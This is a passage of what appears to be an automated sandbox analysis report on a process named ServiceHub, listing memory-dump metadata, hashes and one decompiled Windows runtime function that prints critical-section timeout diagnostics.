                                          • Source File: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_400000_ServiceHub.jbxd
                                          Yara matches
                                          Similarity
                                          • API ID: EnvironmentFirmwareVariable
                                          • String ID: URL: $.$L: $e$i$n$o$p
                                          • API String ID: 3150624800-3631070777
                                          • Opcode ID: 6baf52d56a3587b54023c853ed640b94686f0f5249f3d80747044348be483e42
                                          • Instruction ID: 19966c26a1da8e623d826d5b09b1a8a2a3c8ef312e5e409390aa4a75f77511cf
                                          • Opcode Fuzzy Hash: 6baf52d56a3587b54023c853ed640b94686f0f5249f3d80747044348be483e42
                                          • Instruction Fuzzy Hash: 01817DB0900308AEDB10DFA5CC41BEFB7B8EF44304F40442EF905AB241E7B9A695CB69
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 0123FDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 53%
                                          			E0123FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E011ECE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E01235720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E01235720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}










                                          0x0123fdda
                                          0x0123fde2
                                          0x0123fde5
                                          0x0123fdec
                                          0x0123fdfa
                                          0x0123fdff
                                          0x0123fe0a
                                          0x0123fe0f
                                          0x0123fe17
                                          0x0123fe1e
                                          0x0123fe19
                                          0x0123fe19
                                          0x0123fe19
                                          0x0123fe20
                                          0x0123fe21
                                          0x0123fe22
                                          0x0123fe25
                                          0x0123fe40

                                          APIs
                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0123FDFA
                                          Strings
                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0123FE01
                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0123FE2B
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
                                          • API String ID: 885266447-3903918235
                                          • Opcode ID: 67e2166f0064f1de8a4644343c17177536429f8d1444dbb44bbcbb5c224ab2a7
                                          • Instruction ID: 1a5a0fb325531fce5ca85b93692af9cc484d9e44523ece15d098297960f7a05d
                                          • Opcode Fuzzy Hash: 67e2166f0064f1de8a4644343c17177536429f8d1444dbb44bbcbb5c224ab2a7
                                          • Instruction Fuzzy Hash: B6F0F672650602BFEB291A85DC06F33BF5AEB84B30F140314F628561E1DA62F82086F1
                                          Uniqueness

                                          Uniqueness Score: -1.00%